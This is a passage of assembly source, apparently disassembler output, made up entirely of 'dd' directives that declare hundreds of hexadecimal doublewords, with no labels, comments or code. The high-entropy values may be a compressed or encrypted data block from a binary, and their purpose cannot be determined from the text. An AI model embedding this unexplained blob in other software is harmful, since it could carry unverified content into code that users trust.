		dd 0F9DC6CBFh, 10427225h, 40DE1A75h, 7260D652h,	0FC0E9764h
		dd 5E1494E8h, 207827B5h, 66042356h, 2CF83A28h, 0F02C5B38h
		dd 0C5C43890h, 45EBA9B7h, 84002705h, 0B5F684Dh,	25ACFBCBh
		dd 0CAED331Fh, 0B17EBC93h, 58006DB1h, 402E0C1h,	24D59235h
		dd 9A835F6Ch, 87036EF0h, 8463EDF6h, 1BF5EBA1h, 0EB0DF8C4h
		dd 0F03AA5C1h, 0F4F92115h, 0D809834h, 5F0BF229h, 603EE375h
		dd 82355896h, 0A5F011Bh, 3E65105h, 114438C1h, 0F21285E8h
		dd 0A27614Ah, 0C7AA0413h, 4254036Bh, 55532D6h, 80ACDB87h
		dd 0BD941FBh, 0CD29520Eh
		dd 46EB6959h, 0F0F0A00Ah, 1CE3079h, 6542A2Eh, 250DA74Dh
		dd 0D1908053h, 0B721096Eh, 507EB88h, 0B8D0315Bh, 0DC03B362h
		dd 0B71748F2h, 0A4D4B8A9h, 86F055C4h, 4EC81EB9h, 0F8F5FEFDh
		dd 42075F65h, 58668ECFh, 52E1DDE0h, 91BDAFB1h, 0A3D2F328h
		dd 0A56B5CE2h, 0B4E2F052h, 0D260A996h, 606B3EE1h, 0A063E9B4h
		dd 12AF6AB1h, 975C4029h, 0E7B1C026h, 3EFC0C5h, 2E727097h
		dd 8958C9FDh, 0B2DD6C82h, 2006C4A4h, 0F6B615DFh, 609FCB0Eh
		dd 0D82837F3h, 0B9139D5Bh, 0C87FD9A2h, 4E0F1C6h, 89097594h
		dd 0A02EC4CBh, 0A11FB81Ah, 0F74C985Ah, 984004D8h, 0D0AC411Eh
		dd 0AD2434C5h, 63006223h, 8970F926h, 0B142CBF1h, 3DF0CF64h
		dd 0B2C9765Ah, 0D975D5E1h, 86D1F66Bh, 7ABBCE9h,	8853ABB1h
		dd 5BDE22CBh, 6DF431C0h, 0D84063A2h, 212D4011h,	0A1A2E209h
		dd 7BF1E9B9h, 2782343Bh, 0E6D2D2F8h, 0F752A0FEh, 9FD418A6h
		dd 0A3AC594Eh, 403C14Eh, 0F9F601BBh, 9B8E6A68h,	0D8A94E30h
		dd 0FC2AA193h, 7F996BAEh, 9F29E0B0h, 4C3348F5h,	995F5F59h
		dd 63B36BF1h, 803FC17Dh, 3B28EBF4h, 411FA9B0h, 240941EDh
		dd 36BE00F8h, 21D275Ah,	2B60D98Fh, 0E8893F07h, 9C0BE919h
		dd 6808EEEFh, 0C566DE25h, 0B4E9058Fh, 0AF2DEACFh, 586F722Bh
		dd 957A167Dh, 776868E0h, 27D52DDDh, 0E8287DFEh,	9A40A402h
		dd 500A4CB9h, 0CF181D4Ch, 1877D059h, 8F0860BBh,	0F4801AC1h
		dd 0B48F08F1h, 0F9047E65h, 0B0B0DBE9h, 35F57731h, 0C04429C7h
		dd 74CFE5BBh, 4F381020h, 49E6E7BEh, 6857065Ch, 20B31F23h
		dd 0D895C2DFh, 0B561B082h, 0F2FCBA7Ah, 78DBA253h, 7A16BA4Bh
		dd 0E8424BB7h, 9E73129h, 0CE766AA8h, 770669EFh,	60CBF0AEh
		dd 0AD001BE2h, 6746A6BAh, 88C23F50h, 89CD9F39h,	7971CAE9h
		dd 81019913h, 0CF0A3B5Dh, 7C01D456h, 0BE1ACB4Ch, 24EF01E0h
		dd 25503121h, 160986DEh, 0F26F66AAh, 88528079h,	24C4EE72h
		dd 918AE8EFh, 2FFD2C3Fh, 702EBFC6h, 0D29354E4h,	0ECABC24Ah
		dd 258C57C8h, 5D2A8018h, 0EBBF1993h, 0DED4DAA5h, 24540180h
		dd 580CE908h, 53884DB9h, 5897D5A8h, 0C5FBFAC0h,	0BD123D65h
		dd 873010DCh, 1889E45Bh, 1F4C541Dh, 0B843C681h,	817BA46Bh
		dd 5271E9EEh, 0E284B693h, 6B7BA1C6h, 8929E18h, 3B9A0A43h
		dd 3F06F281h, 503CA92h,	0FC89D459h, 5B0B9E24h, 0B73D3021h
		dd 8989AA6Fh, 0ED12D518h, 0B207744h, 90BE0BCCh,	8655594Bh
		dd 0FAF3E6CCh, 15D1834Dh, 34BA4AFDh, 1DF60C83h,	13B4EB2Eh
		dd 0BB904032h, 0DE024062h, 0E7600FF4h, 36039B57h, 40769834h
		dd 0FD4B21B3h, 62BBEDD8h, 0D8257B3Fh, 0B622FD09h, 71AF762Bh
		dd 0AE3A3205h, 0E90B93DAh, 8FEECD5Ah, 0B7ABECB5h, 0B887ACB2h
		dd 765D32C0h, 46ACC41h,	7286C500h, 2A314440h, 0BFD15AD3h
		dd 0E220EB65h, 5F0E09B5h, 79C5AC16h, 5FD241E9h,	64C1C056h
		dd 5F85A5Ch, 0AF2F86FBh, 0EEEFEA00h, 0C11D2806h, 0C658B218h
		dd 4FFBF321h, 68396180h, 0E9279831h, 0A27AF92Ch, 20A2DD24h
		dd 60E168B6h, 52F4EBBFh, 7ACBB227h, 26D025D2h, 53E5A07Ch
		dd 5D20AE9h, 0B28D7E85h, 0EA4F17A5h, 0AC9028B3h, 90F1022Dh
		dd 3CC8FE44h, 0B495D26Ch, 0AE52235Dh, 3A9609B7h, 58AC50B3h
		dd 0BF25324Dh, 2101C7D6h, 0EAE91C6Fh, 81FCB325h, 44CE09CDh
		dd 19080951h, 0EA8087DAh, 0E672820Dh, 7E3C44F9h, 269A1552h
		dd 80623768h, 0CD2360F7h, 545580D2h, 0DF8C5D61h, 0E020390Ch
		dd 4FC309CAh, 0E78A7495h, 95D859Eh, 0C484B2FDh,	8CEEDB9Eh
		dd 5B2CAC2Fh, 9F18E46Dh, 97305927h, 0C1F584CBh,	3135BDFFh
		dd 4F2D2CC9h, 4C4B2AECh, 0B8CBBAA2h, 3B591D00h,	35404855h
		dd 6B450099h, 0E46A2D16h, 0E9152F0Ah, 4B6E85C1h, 6859A5C0h
		dd 0A03749FAh, 0F3152684h, 5F2F019Eh, 7AE90C0Dh, 97784268h
		dd 2F592011h, 94C406B2h, 0A574FBF6h, 0A1F846B1h, 6032BDD3h
		dd 3C989C40h, 0F73AB81Fh, 34C60EDh, 2AAC95CAh, 0BDA05304h
		dd 0A4124423h, 53448926h, 23D1B766h, 0AB39467Fh, 0B87D1D85h
		dd 83EFA04Ch, 6C201FE3h, 0B7D853E9h, 745E7B53h,	2BB5D2C1h
		dd 5908F02Ah, 0D068340Bh, 74A270E0h, 8BC09D08h,	306E69B5h
		dd 6108F225h, 0FE2D01D5h, 2F67114Fh, 9C60A861h,	0CA94CB22h
		dd 30C1BBC5h, 216F68D2h, 91596AAAh, 266900BFh, 0F7591A7Dh
		dd 4A9DF0D9h, 4A05A32Ch, 53CBB620h, 0BDB94E51h,	56312FAAh
		dd 0FEE98AFEh, 806889C7h, 6041ADF7h, 4ED3DA3Bh,	0F8A735ACh
		dd 976048CBh, 8B0282A7h, 8000A43Dh, 0E72801C6h,	92779BE8h
		dd 0E0CF4F86h, 0D19D59EFh, 4E7E6923h, 0C5DBDC2Dh, 80A36417h
		dd 1378A399h, 7C292F13h, 0E983F5B8h, 0E1177B3Eh, 3E8C4D8Ch
		dd 30BC4115h, 6500E658h, 6B94D58h, 0D65074C1h, 6B54EDD8h
		dd 0BD60760Ch, 81F393A4h, 954522BDh, 682FFC27h,	0CEBC34B9h
		dd 0B8B1E6C1h, 0BB8622F8h, 53451761h, 0E514B869h, 1FA403E8h
		dd 4AC210A0h, 830E7FACh, 58C9E320h, 0F3E68AD8h,	12E91516h
		dd 0AD57225Fh, 6BDDBEA4h, 0BA2F3BBBh, 0FAFD29C4h, 2111112h
		dd 685D0B94h, 0AD81F13Eh, 0E9F0005Ch, 0BCB84F95h, 0D43F9EECh
		dd 22DE33C9h, 0F4C47709h, 0F3018C32h, 900FC5F3h, 6C2A0560h
		dd 1E2C9BC9h, 4CD82886h, 4A35DD36h, 2790527Eh, 5B25A4Ch
		dd 44CD2DBAh, 0C675A6C1h, 0A181AE04h, 0E8EF4DFh, 0C24DD031h
		dd 39CD2F08h, 0E985053Eh, 207CD4E4h, 7F09BD0Eh,	5045E727h
		dd 0B8436B3Eh, 24B8AD80h, 739E040h, 62ECCFD1h, 0B980797Fh
		dd 0AABA96AFh, 79FF5856h, 7D532E0Eh, 0D704AEADh, 0AE1B1860h
		dd 0D14F3790h, 0E1724EE5h, 0E7C9E4B6h, 9CA3912h, 4422B50Fh
		dd 0A2073B54h, 0C21FB5B4h, 0A07D59F8h, 1A247FE3h, 0A8B277Ch
		dd 9DE85B79h, 3A8EE308h, 5364B896h, 9348ECFEh, 1660A01Fh
		dd 21AB0F66h, 28060CAh,	9D4540ACh, 19B9183h, 0F0FD4802h
		dd 0ECF62F31h, 0A450834Ah, 0F624EFA5h, 88923DE2h, 224DDEE3h
		dd 88A84B55h, 8C0F6B17h, 0E140A153h, 5CAF972Dh,	0DBC0984Bh
		dd 0E8C1DEF7h, 772B7BC1h, 0CC2C32F5h, 3DF4A84Eh, 31D19D35h
		dd 222EB81h, 99F762E9h,	0A36A9151h, 505301A2h, 0D8F6BBB0h
		dd 400F6A70h, 0E762C16Ch, 51668136h, 42B34A1Bh,	0E90EE2CCh
		dd 4C629CD9h, 0FAC4B901h, 7E1C4463h, 0BF918537h, 4BCE1688h
		dd 1396DDE0h, 201355B2h, 0DFE3C7E8h, 3157CF31h,	6AB9FDCBh
		dd 89C0400Eh, 0CDB0E305h, 6509D0E8h, 8ADCC6FEh,	0A648CE0Fh
		dd 49C420EEh, 3C8C91B4h, 3F12BD6Ch, 0CF8093Eh, 0C197A822h
		dd 0C13AAE32h, 21DD89B5h, 0FF6B4520h, 4F288E28h, 0B7AE2B2h
		dd 46453668h, 0C3392EE8h, 1F6CE4Ch, 27038256h, 3DC47F4Eh
		dd 0AE8DC2h, 0C05C3835h, 58C2DCA0h, 6ED2F72Eh, 3118842Dh
		dd 92A22A95h, 0A90D990h, 80515685h, 18A327B2h, 569883FCh
		dd 1FB4BAA0h, 937E120h,	47FC23ADh, 8C9A6116h, 0EE7A850Ah
		dd 0DFEE3A57h, 7AC00F28h, 3B0394F6h, 4D0CC01Ah,	314EDE7Bh
		dd 585EF12Fh, 1711F8Ch,	75E6C226h, 0E2DD094Dh, 0BF4BD814h
		dd 0BA2C53ECh, 0CC22BA7h, 0A69A5DA6h, 9208A712h, 6368C1C8h
		dd 5ACF2F74h, 56A0E65Bh, 86E91676h, 43994EC5h, 0E0785DEDh
		dd 0B554512h, 0EEA0F2DDh, 2F8E5CC5h, 62DF2D07h,	0B95707A6h
		dd 0F683A732h, 8272494h, 0B8007F3Bh, 4D2D6CA9h,	595F7C50h
		dd 8101CE37h, 126463E5h, 48F5D873h, 26991513h, 9CA0A30Ch
		dd 2FCFF87Ah, 257067CEh
		dd 0AC05EF26h, 5C24E228h, 56C92DA8h, 0C0D80B3Fh, 3EF646A2h
		dd 114DB4F0h, 1A5B2D27h, 0A1CE401Dh, 0B711F013h, 0BEFE905h
		dd 985D5808h, 4BA66850h, 71D8C5Fh, 9BA6240h, 74A86345h
		dd 0D41D586h, 32F38995h, 393A77D0h, 0A0C06F7Dh,	6D5B97D2h
		dd 23E25396h, 0FAC38101h, 6A52C53Eh, 80042B5h, 1D5B1331h
		dd 0B2245733h, 6DDF5306h, 4A42A827h, 3AA529CFh,	88CBBAA7h
		dd 4FBA8E9h, 61790C04h,	0AFD5C849h, 1868F519h, 805B43E9h
		dd 6E361F5h, 30E82857h,	1E54AEA0h, 1A97CFB5h, 740BF7F2h
		dd 2D0032C5h, 9DB4EDA8h, 0D4D15DE9h, 2CDE313Ah,	0CC41ABDFh
		dd 0AF354E41h, 5BEDF77Bh, 1462D2A4h, 814AC6Dh, 0CE5E9F01h
		dd 74C2946h, 0C2644C5h,	991C8410h, 5CC0BB6Dh, 0C24BD1B7h
		dd 8512BF57h, 28EF178Bh, 578916BFh, 2E7C5E26h, 444E2271h
		dd 9FF9FCC6h, 0B4500F60h, 8A6F805Dh, 0F7B9977Dh, 742C5B14h
		dd 0F7C740B6h, 0D987D30Ch, 97441h, 407ACC36h, 82C2B2Dh
		dd 0C1293113h, 0CEEF3D00h, 0F2606C41h, 82A990CFh, 0D0E60308h
		dd 6F5B3C09h, 0AAA431C8h, 86C06228h, 11816980h,	0C4A5BB7h
		dd 0BD4CB06Fh, 16632502h, 76EDD104h, 0D5870B1Fh, 2081A0Dh
		dd 0ECF7FDC0h, 1DC490BBh, 666E1F2Bh, 714902E0h,	0DDD07D02h
		dd 0CC74C605h, 80BF510Dh, 7C12050Eh, 0D079762Fh, 0E90781E0h
		dd 968108FDh, 0DC5AFCB9h, 828045D5h, 8001B7BDh,	0B16AA2C4h
		dd 6FDEC23Dh, 0C7E64217h, 0E9B6425Eh, 1AE869C6h, 0E8B40D20h
		dd 0B1B87C64h, 95F5A34Ah, 0B5F25BA8h, 609768C2h, 0A1AF9C5Fh
		dd 0D07350A4h, 0E485A113h, 0AEA8317Eh, 3852DE68h, 43C20120h
		dd 0E6E9157Bh, 443022Bh, 4422061h, 2801AEC0h, 0C9FE0CC5h
		dd 541BC3C2h, 0DAE14232h, 21240F09h, 5D5A7E29h,	84B1CC3Fh
		dd 2788F895h, 75D15F5Bh, 6ABF6804h, 0C73CEBB3h,	84887E41h
		dd 0D55B00D8h, 5FFE314Dh, 0F0BDF001h, 6AD0BEBh,	8F77179Bh
		dd 28AFA582h, 4486F880h, 29D92FBEh, 598B4C3h, 760114F0h
		dd 5F062D65h, 0B6314A9Ah, 29EDA47Ah, 515964C4h,	929D86F2h
		dd 8237EDEDh, 55C150E9h, 9397CF98h, 66BA909Dh, 44A32DB9h
		dd 5F3DEC72h, 0F9311008h, 4752531Fh, 0F93DD4BAh, 617F83E2h
		dd 0AEF20232h, 43421FA0h, 51CFEFE9h, 65F61E12h,	54500648h
		dd 2F76D99Fh, 225F0432h, 90D955h, 873AB505h, 3F2D7F7Ah
		dd 6719FA21h, 0A45F2182h, 0F961AFD0h, 3D87BB6Ch, 0B5BDC568h
		dd 5A2CBE01h, 0FA632DE9h, 0DCC3B918h, 7F41C195h, 0B31F377Dh
		dd 30CB4C2Ch, 8EFCA606h, 0D47BAF49h, 3E91200Dh,	4C16DFBAh
		dd 34CCC7EBh, 0CE601DEh, 0C17F1A1Fh, 0F03E444Bh, 21984271h
		dd 0BF003BB6h, 0D2F06C1h, 55D984Fh, 9F6AD751h, 3A04AF31h
		dd 0B9006365h, 0CE178119h, 5A9DC1E6h, 0E8014FF5h, 87B03473h
		dd 429C54AEh, 5F5D9401h, 0A0D70157h, 0F895085Ah, 0D2B85FE8h
		dd 9EDE6C44h, 0BDF45965h, 237260ABh, 5A5B1EEBh,	9E0C1760h
		dd 6A9ACF22h, 24A6E429h, 39630352h, 0B4104A94h,	2D7ED397h
		dd 0CB542DD8h, 42AA0596h, 5CC468D8h, 0E0D0A1A3h, 0D4F26703h
		dd 102D2B4Eh, 3BF87D7h,	732A36B8h, 0DF9FD119h, 0F757C25Ch
		dd 662482DDh, 4580C5F9h, 0F061EAD1h, 386C6A0Bh,	0BE6CE0C4h
		dd 5A2CE0CFh, 141E0281h, 36FC1CEDh, 595085B9h, 0D4812A97h
		dd 0AB07FD4Bh, 2527AA52h, 8CD859E3h, 3CE30EAEh,	0DDE95D4Ah
		dd 0B0EBC9DEh, 86CA674h, 5F91F895h, 0ECD49DC5h,	17CF7E4Fh
		dd 69097EC1h, 8489A2D6h, 565AF4Ch, 0D9EE5BC6h, 0C7163BA9h
		dd 0E874FC79h, 30A741BFh, 5827DC0Ch, 0D5D51230h, 0CF680587h
		dd 33F98C76h, 616D5512h, 0D2F0D0Dh, 0F65BBB28h,	89543274h
		dd 28AADF35h, 0D85817D0h, 0C73C5D86h, 38300447h, 9B80418Eh
		dd 48966A8Ch, 0D0051118h, 0AB31140Dh, 3EA43014h, 20D845E1h
		dd 7FFEFD86h, 32B3E7C5h, 0B130CF08h, 0B80C553Eh, 0D41C1C33h
		dd 12386CFBh, 7630ABCCh, 752CD828h, 246B988Eh, 0C9299C40h
		dd 7E34727Ch, 49FE9952h, 0C48045C9h, 9EE00E50h,	62C7895Ah
		dd 8A6743Bh, 680182C8h,	57B769ECh, 6060B16Eh, 24009200h
		dd 0CE814CB3h, 908347C5h, 0CBF6383Bh, 0E9082005h, 1693BD01h
		dd 3DEE23F2h, 0EDCCE312h, 225C8B94h, 6407C5A9h,	77E320A4h
		dd 283EB609h, 783846EEh, 75C37B80h, 8BC64CFEh, 0C0B8A10h
		dd 0F81C7709h, 585B40D2h, 2295687Ah, 20E560D0h,	0BE5DC5F7h
		dd 442A0B7Bh, 26CCD16Ch, 9D112A80h, 0EFF6E125h,	5859C849h
		dd 0C1212F47h, 0C1C1C7FBh, 0E16B02E9h, 5F737C12h, 0E91636DFh
		dd 0ECCAD12Eh, 462D3A2Ch, 0EE81D33Dh, 6147D01Bh, 0D54AF20Ah
		dd 87FA1BC0h, 94BB997h,	496F2F70h, 5925129Ah, 845B5154h
		dd 4DB303FAh, 4A20CD04h, 5E06B0E7h, 4B8CF8C0h, 5DD9E6ACh
		dd 0BFD22ED2h, 8BBAA818h, 92A3F4D2h, 0EC03847Eh, 5E532F38h
		dd 908054DAh, 0D9B71751h, 5DD469C2h, 0D1994F53h, 0FD3765h
		dd 0F091F780h, 0E002927Ah, 65962E8h, 0A3F6582Ch, 0B652D002h
		dd 0C2B9C024h, 16F36E28h, 0F54DD1B2h, 0E0CF2ADCh, 0F2C4412h
		dd 99186027h, 62131BEAh, 21A83807h, 1F08C228h, 7ADC2D5Dh
		dd 24053B02h, 0EDC1B447h, 78FF2D0h, 5A251194h, 33038A5Bh
		dd 9156E90Ah, 0F6507916h, 0C3812047h, 0BA519B06h, 0F013F297h
		dd 357A2948h, 981F94BDh, 82CE2045h, 3534E386h, 8BFBE45Ah
		dd 0E9357DCEh, 80BF571Fh, 7C543FCAh, 50998AB7h,	0AA659ECCh
		dd 0DF61D5B5h, 0F35780F4h, 4AB72F9Fh, 1C5F2D09h, 0E904AD45h
		dd 510410EDh, 3757C788h, 0FFC354E8h, 8B48B7DAh,	5B198882h
		dd 66307A5Ah, 0BAF6775Fh, 0DD7F25D6h, 54A63F0h,	462097E5h
		dd 0D044126Ah, 55430F03h, 0C58B2EEh, 0FF066DE1h, 5EBC17Ah
		dd 44F90BBCh, 837F3B14h, 5E88773Fh, 0B13BFC60h,	0B900165Eh
		dd 2A004384h, 0E1814925h, 0F3BA31DAh, 4A890CBCh, 0E3DA047Ah
		dd 3E3FFEE0h, 0DAEE278Fh, 9E42B7A0h, 20DD655Fh,	799E02C0h
		dd 0B5E91501h, 0DFD3E270h, 64264B0Eh, 27BB763Fh, 9E5FCB48h
		dd 4A66B002h, 201E71C1h, 5B80048Fh, 4BDD929Bh, 5191C03Fh
		dd 63E63DB9h, 0B281724Eh, 99355DE9h, 8AB9FA0h, 179E4BE2h
		dd 61B42200h, 0A5DD01E8h, 0C96885F9h, 4FFBB330h, 41346AC8h
		dd 626941CAh, 80810594h, 10DD610Ah, 0D30EE630h,	28AA990Dh
		dd 886FAD3Ch, 0F09DC3Ah, 74297FF7h, 0BDF3BAD7h,	0ECA75D45h
		dd 511C81CAh, 0FF46C46Eh, 0FCE9F845h, 172C53EFh, 0C1F79048h
		dd 2FE06D0Ah, 0F12FF59Eh, 46DA4BEFh, 0C7685329h, 7785BF93h
		dd 8C4D14E6h, 0F9FDE987h, 0D177152Eh, 584D55h, 947FCE68h
		dd 544B32h, 63B05A16h, 0B1D925E9h, 0E0286E51h, 0B7E05F20h
		dd 21CDCD68h, 224D5A13h, 0F50225B8h, 9040854h, 0F1891DD6h
		dd 0E9E874C2h, 17DFC728h, 2037A574h, 0F75B2FCCh, 0D61398B6h
		dd 0E1B8C988h, 4AE33804h, 98C489E2h, 5EF1086h, 6C41892Ch
		dd 0D5922D82h, 63CA829Bh, 40869C0Ch, 0C0BD565Fh, 915EF759h
		dd 4576545h, 0B2D81B86h, 66EF55C0h, 2DD74C5Ah, 0F55F187h
		dd 0EC334E68h, 16FCC1B9h, 0A10096Ch, 2148947Eh,	7D6F04ECh
		dd 21BB31F4h, 88EA092Ch, 9B00BA2h, 6CFC5B54h, 39EB0D12h
		dd 0CD612B8Dh, 1059836h, 0B730D285h, 0F80C8254h, 12781Eh
		dd 7C143E17h, 0E9FA210Bh, 0F5CDE245h, 902103Eh,	3F850FDBh
		dd 0E2224B7Dh, 25E91840h, 0FC1A5E69h, 0B4061333h, 0C4402A99h
		dd 7E7B9F5Dh, 0C5B9EB13h
		dd 4D6B4976h, 9B8F85Eh,	89054FBEh, 12FAF68Ah, 2A70A14Ah
		dd 0EF93CDF2h, 0A2B453Dh, 8287E483h, 2AFE6852h,	97D11857h
		dd 40AC270Ah, 2E90D740h, 0E97E8B04h, 8FED1284h,	0BDDF8A9Eh
		dd 3CEA8092h, 2968321Bh, 4A4FD558h, 0CFC36E0Eh,	0A6E2F617h
		dd 9948257Eh, 6AB38666h, 106AD302h, 0E8EA5F2Fh,	0B65A0805h
		dd 96EF2C69h, 687832AEh, 0EBB2977Ch, 0F0BF8716h, 22470B2Eh
		dd 14F06AB9h, 0AB334973h, 0D1E5A1D2h, 446A6531h, 16876D45h
		dd 37C21ABh, 5A393B7Dh,	6D857779h, 0DEF2B9C3h, 0D6574ED3h
		dd 680C94E6h, 0B72338C2h, 12518C40h, 7803CB1h, 0D5CE2809h
		dd 0FE47948Bh, 1835F571h, 0C8E6927Bh, 0BE5EE885h, 0D25576D8h
		dd 0DA69AE38h, 8E002025h, 5BF2CFE2h, 1090A8E3h,	0A5421718h
		dd 0D014EED2h, 32010EDDh, 0E460C9Ch, 0CDD416FCh, 609E846Eh
		dd 0A355C34h, 1A93F02h,	55533A68h, 2793466Ch, 0FDD988h
		dd 5FF66857h, 6EE70B47h, 542A52C0h, 0F9125CB2h,	0BE87D745h
		dd 2B3140F4h, 45FA6900h, 4D715D6Ah, 761B8898h, 0B0C6C913h
		dd 4C7B4447h, 0D520AF6Eh, 42E80134h, 0D24FC8FEh, 645387B5h
		dd 0B98432F5h, 5F0CA340h, 3E52D0F6h, 0A31709B2h, 442DA8h
		dd 68444EFBh, 5CE92808h, 0EC9830CEh, 0AF59A72Ah, 83D1390Fh
		dd 2507E0C1h, 0B45D166h, 28623090h, 0F75CA321h,	609B27ABh
		dd 0EC68BDEBh, 97174C0Dh, 0C6C25D2Dh, 0DAE31B55h, 0BDD7D0B3h
		dd 0A4BF34E5h, 5CAD4DA2h, 42421267h, 67BB68E9h,	0B95F185Fh
		dd 0D84E01D4h, 69E98147h, 105B2857h, 55259A5Ah,	0E9123BB6h
		dd 69A91016h, 0EC916B13h, 8F65B536h, 92151A54h,	44E50617h
		dd 190F1420h, 987DA640h, 738DD885h, 6F091CB8h, 4160765Ch
		dd 2D20C917h, 0C6565E3Dh, 0B30C228Bh, 460C0D1Dh, 873B1739h
		dd 24D01473h, 2DE90840h, 51B57Dh, 0F3BA186Bh, 6A5B81BEh
		dd 4AA2769Ch, 0C2009DE8h, 5F2D8560h, 7FD85E81h,	90E89773h
		dd 63C2083Ch, 5657DFCEh, 0BBF601E6h, 8246805Bh,	0CA5ABA0Ch
		dd 217D64Ah, 42543E35h,	4716A374h, 349D7118h, 26665CD8h
		dd 0C5ECB918h, 581C8AEEh, 0FFEB0A36h, 0F4CF6B89h, 4C2E5839h
		dd 413C8D26h, 0D716091Ah, 0C8C11E43h, 0CB33819Dh, 46C252D4h
		dd 0A3A99E40h, 295D2766h, 65CBB0C3h, 0BEEF2917h, 7900F185h
		dd 2FD431CAh, 783D2FE9h, 64F5C54h, 2810AD49h, 2F503CBAh
		dd 21A2DC89h, 644DC9FBh, 0BD807227h, 0FAC5286Bh, 49E9DCDCh
		dd 353BCEEAh, 21557609h, 2C9988Fh, 0DECB3A57h, 0C1DA52BDh
		dd 0A98359E0h, 0A805333h, 5002EEC0h, 0D89509B4h, 8EC0B73h
		dd 0A5FE83E9h, 21007CBBh, 0B0054634h, 0B723DF09h, 702B262h
		dd 9A758759h, 0F1CC5DECh, 0C66FE02Fh, 0C7D0B46h, 4CD97C4Fh
		dd 0DD9D0927h, 0F727123Eh, 0C19170DBh, 93918060h, 7BC442D2h
		dd 0C0DDC09h, 0EDB9FEE5h, 0DF046E09h, 796C8467h, 0C6F0141Ch
		dd 3ABA210h, 0DF48F1BBh, 1D5E5053h, 9D032E14h, 7A05258Ch
		dd 0BAD590BFh, 5E61BF6h, 61274E90h, 0AFC0F301h,	0D3A7CCA5h
		dd 0A807534Fh, 5F335438h, 0DE1477C2h, 0E1529223h, 87D92EC6h
		dd 2A68D870h, 329E2646h, 0C229CCC5h, 0D944F783h, 4FF1DF02h
		dd 607EE550h, 24232905h, 0E53E21h, 6FB76258h, 1CD0CB01h
		dd 141C6808h, 0DF6EDA32h, 0AF3D1B65h, 51500BCh,	75E555E4h
		dd 5A2C016Bh, 0D82976D2h, 6807402Dh, 32910183h,	0AB7B9FA0h
		dd 5E4E3026h, 0E9554D03h, 0BAC0967h, 66021C28h,	73D359CAh
		dd 98307A2Dh, 0BD8B7A22h, 0FA25359Ch, 8878F1DCh, 0BF01BEA0h
		dd 0CED9AECFh, 274C1430h, 92F85510h, 1844AA0Bh,	0A0EE7C0Ch
		dd 11E92F08h, 5E77748h,	6DD8CCFDh, 573BAB2Ch, 0BE18F210h
		dd 13AF054h, 52F07E95h,	0B37EADC2h, 0F23B4151h,	0DEBE2F4Fh
		dd 279A49Eh, 1EEA39A2h,	3865C381h, 0A67960D9h, 4BA9A94Dh
		dd 92F96C15h, 0AA1F24AFh, 0B6ABE8E0h, 9205069Fh, 789F0810h
		dd 97089037h, 0DD2D2D00h, 0E7DAE03h, 7C68D838h,	0BA7AD1A6h
		dd 5F440838h, 0B9029AF2h, 2B1379C4h, 0DDE33AC3h, 0DF6D934Dh
		dd 72847517h, 28A6F301h, 407F2F6Bh, 64C8E139h, 5CB23E80h
		dd 4471E4F6h, 42F047B0h, 41782E7h, 7FAC4B79h, 6C0A130Fh
		dd 90688BC4h, 4577D732h, 6BAB26E2h, 0A508B076h,	0D00501DAh
		dd 61FD99ADh, 107779EAh, 35050C5h, 58047F92h, 0B3054237h
		dd 846CA62Bh, 0A70E8985h, 44C7560Ch, 12F3AD2Ch,	83CC62DBh
		dd 840B9FEAh, 0FCAE94DDh, 8A9CCBh, 0D1685152h, 745FD34Fh
		dd 61D22AC0h, 0F46FE14Dh, 1E1CCF53h, 2DACC538h,	25A6A002h
		dd 7C627DEEh, 45E98F82h, 0D597207Eh, 84923C10h,	81540BEBh
		dd 9C79503Fh, 0CA5B169Fh, 0F3881C57h, 0E5A5D99Fh, 90B4B4F8h
		dd 5203156Bh, 0DE422F2Fh, 0E2F207E7h, 0E9809189h, 0F548C778h
		dd 256248C1h, 5DD96246h, 0DB962C14h, 1C3FD88h, 0B409F7BEh
		dd 55013F4Eh, 72C9C7F6h, 2F12D20h, 0C032BB5Eh, 5462B1C6h
		dd 6C5B974h, 0D9335FD2h, 454F38F6h, 0E84FD677h,	59099E2Bh
		dd 8809F977h, 4126AE4h,	179617A8h, 36FAD04h, 0CA746BEBh
		dd 0AEF3B053h, 310C305Eh, 0D568580Ch, 4BAE41E5h, 44FF07AFh
		dd 42B3222Ah, 0D3D1212Ah, 0E35EBF30h, 2FCD2FCBh, 5EEA97F0h
		dd 2B42AF6Bh, 0C5A66F5Ch, 54E96102h, 68ECDF0Ah,	0D248C722h
		dd 0B0CBAAF4h, 9F805B27h, 475DEF09h, 0DFA40EB5h, 827CA884h
		dd 920AC9BEh, 24F1F7ABh, 588DD4DAh, 72BA72E9h, 1220BB27h
		dd 57705562h, 0DD96E92Ch, 0E201599Fh, 14E31DEEh, 6E3D0E3Fh
		dd 36DCBF3Fh, 45D6BAB0h, 0E1288C26h, 7EA30112h,	34503251h
		dd 0E55930EAh, 0C07CFE70h, 0A69BD43h, 314F1362h, 0D5F99805h
		dd 14A21BBCh, 4E4ED123h, 4B228E1Ch, 3293E5B2h, 8A72BFD1h
		dd 10FE7B27h, 0FB551E7h, 0EB885339h, 0C850EECBh, 51F82124h
		dd 711385CAh, 8E59C65Dh, 0C6414787h, 65C12D19h,	3C00C83h
		dd 964EA60Bh, 0E2E1BB5h, 0B30D8FCh, 0D238428Fh,	9ABC206Bh
		dd 774BBD04h, 0F7B0070Dh, 0E3C2133Ch, 4D33AC63h, 2680B43h
		dd 6EF8DB7Ah, 6800D6E8h, 253791Bh, 0AE05075Fh, 225D293Bh
		dd 7892DF8h, 9975B832h,	0F27F567Dh, 36E9A018h, 0FE6AD6D0h
		dd 72019E12h, 66B57BF4h, 0C3417007h, 9A55E987h,	31022FBCh
		dd 4C632C68h, 257B751Ch, 32713C08h, 0A7A4E906h,	2FCC27C7h
		dd 4E77F598h, 0A408D19Bh, 0EB800084h, 0DE2858C1h, 0C60B5B77h
		dd 0E4F030BAh, 800B7370h, 0A4BF215Dh, 0BA8E5304h, 2AA8D95Fh
		dd 5B2F29B8h, 5568974h,	3112E8C1h, 0A06EBCC8h, 0A825F768h
		dd 80AA42D4h, 0D15A315Eh, 0FE49488Ch, 254094D5h, 0FC0C7274h
		dd 4FF9C25Bh, 2C841B8h,	6E7CC405h, 0CF460DF1h, 0BFB1A004h
		dd 0AF0244Fh, 0A66602C4h, 0E7498B0h, 63F4E909h,	4FC7B5DAh
		dd 1CC43B70h, 0B265FA57h, 0E1D12E75h, 0C1B0B68h, 5C1764D9h
		dd 44473C88h, 1E664AFCh, 0A4B19ECFh, 0BF54E86Ah, 4B17B0ECh
		dd 7F049606h, 2905BC2Eh, 75AED9F1h, 31A638F9h, 4CDB588Fh
